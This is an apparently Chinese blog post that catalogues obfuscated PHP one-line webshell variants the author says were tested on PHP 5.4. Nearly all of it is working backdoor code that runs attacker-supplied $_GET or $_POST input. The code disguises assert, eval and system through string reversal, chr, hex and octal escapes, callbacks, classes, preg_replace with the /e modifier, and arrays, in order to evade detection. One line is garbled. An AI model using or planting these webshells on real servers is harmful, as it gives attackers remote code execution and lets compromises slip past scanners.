基于php⼀句话⽊马的变种总结说实话php我只是在w3c系统的看了30分钟,对不是3天30天3个⼩时是30分钟
那我能不能说我花半个⼩时接通了⼀门计算机语⾔呢 (逃
需要记住的是:熟读PHP⼿册就会有不⼀样的发现
贴上来的都是亲测能⽤ php5.4.45 apache phpstudy环境
$_GET函数数据来源的web响应⽊马
@system($_GET['shell'])
@passthru($_GET['shell'])
同样也适⽤于以下变形
字符串(变量)变形
assert()相⽐较于eval()要灵活许多(只适⽤于php7.1以下版本)
substr_replace() //函数把字符串的⼀部分替换为另⼀个字符串
<?php
$a = substr_replace('assxxx','ert',3);
@$a($_POST['shell']);
>
(PHP版本为7.2.10时挂马失败,php5.4.45时可以成功)
chr() //从指定 ASCII 值返回字符
<?php
$a = chr(0x61).chr(0x73).chr(0x73).chr(0x65).chr(0x72).chr(0x74);
@$a($_POST['shell']);
>
strrev() //反转字符串。
<?php
$a = strrev('tressa');;
@$a($_POST['shell']);
>
parse_str() //把查询字符串解析到变量中。
<?php
parse_str("name=assert");
$name($_POST['shell']);
>
// \xhh hh⼗六进制编码的字符
<?php
$s = "\x61\x73\x73\x65\x72\x74";
@$s($_POST['shell']);
>
// \ddd ddd⼋进制编码的字符,或者后向引⽤
<?php
$a = "\141\163\163\145\162\164";
$a($_POST['shell']);
>
//通过中⽂乱码字符与strlen(),chr()函数相结合调⽤assert
<?php
$s = chr(strlen('R楝櫇賩矟m蛖?o礏!襔翻%豑翻%豑Ωv閁唁忽??e筡瑙kv闷T琷U逝Bi鰂衿i%_扈祓兽蒧')).chr(strlen('R楝櫇賩矟m蛖稤廕?o礏!捣?F襔翻%豑翻%豑Ωvn >
重新定义函数
<?php
function alexznb($a){
@assert($a);
}
alexznb($_POST['shell']);
>
简要地说就是将原本⼀句马变形成⼀个函数,在此函数上定义⽊马语句,此原理反之亦然,在此就不多赘述
回调函数
回调函数的意思⼤概就是,在⼀个函数⾥,通过调⽤回调函数(系统函数库⾥的函数不能随便起名),把⼀个数组⾥的元素挨个传递给函数
A,最后把函数A⾥⾯最后执⾏数组元素后的结果,⼀⼀呈现出来,这就是回调函数。
为了便于理解我编了如下基础的回调函数代码,试着看看或许能够更好地理解
⼤概就是这个意思,这⾥使⽤的是call_user_func_array()函数
我们在⽤该函数试试⼀句马:
<?php
@call_user_func_array(assert,array($_POST['shell']));
>
很棒,上去了
(你们没有看到我的Tor browser)
回调函数变形:
为了便于理解源码,基本上每⼀⾏后⾯我都加了注释,为此我还很羞愧的恶补了20分钟的php⾯向对象编程的模块
<?php
class loveme { //类开始 php中通过class定义类
public $x;
public $y; //定义$x,$y两个类属性;PHP类属性内与变量⾮常相似,对象的属性可以存储单个值,值数组,甚⾄另⼀个对象。
function __construct($a,$b) { //定义⽅法 __construct
$this->x=$a; //使⽤this访问当前类的属性$x和$y,赋值给⽅法的$a,$b两个变量
$this->y=$b;
}
function test() { //定义⽅法 test
array_map($this->x,$this->y); //⽅法内调⽤回调函数
}
} //类结束
$p1=new loveme(assert,array($_POST['shell'])); //从lovem类中创建对象命名为 p1
$p1->test(); //对象$p1指向类loveme的test⽅法,相当于调⽤test
>
特殊字符链接⼲扰
基本变化形式
<?php
@$s = $_POST['shell'];
$z = null;
eval($z.$s);
>
添加换⾏符(\n)
<?php
@$s = $_POST['shell'];
$z = "\n";
eval($z.=$s);
>
特别需要注意这⾥只能使⽤双引号,单引号不⾏ 因为php⾥的单引号把内容当成纯⽂本,不会经过服务器翻译。⽽双引号则与此相反。⾥⾯的内容会经过服务器处理(process).
\r 回车 (⼗六进制 0D)
\t ⽔平制表符 (⼗六进制 09)
php官⽅⽂档对转义字符的解释(中⽂的四级没过也能看得懂!)
preg_replace()函数
<?php
@preg_replace("/abcde/e", $_POST['shell'], "abcdefg");
>
这个函数原本是利⽤正则表达式替换符合条件的字符串,但是这个函数有⼀个功能——可执⾏命令。这个函数的第⼀个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第⼆个参数就会被当作代码执⾏。
数组
⼀维数组
<?php
$a = substr_replace("assexx","rt",4);
@$b=[''=>$a($_POST['shell'])];
>
这⾥在$a⾥⾯还字符串变形了⼀次
<?php
$a = chr(0x61).chr(0x73).chr(0x73).chr(0x65).chr(0x72).chr(0x74);
@$b=[''=>$a($_POST['shell'])];
>
同样的变化,只是assert变为了⼗六进制字符组合后,放⼊⼀维数组 " " 中
多维数组
php编程手册<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['shell'])));
>
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论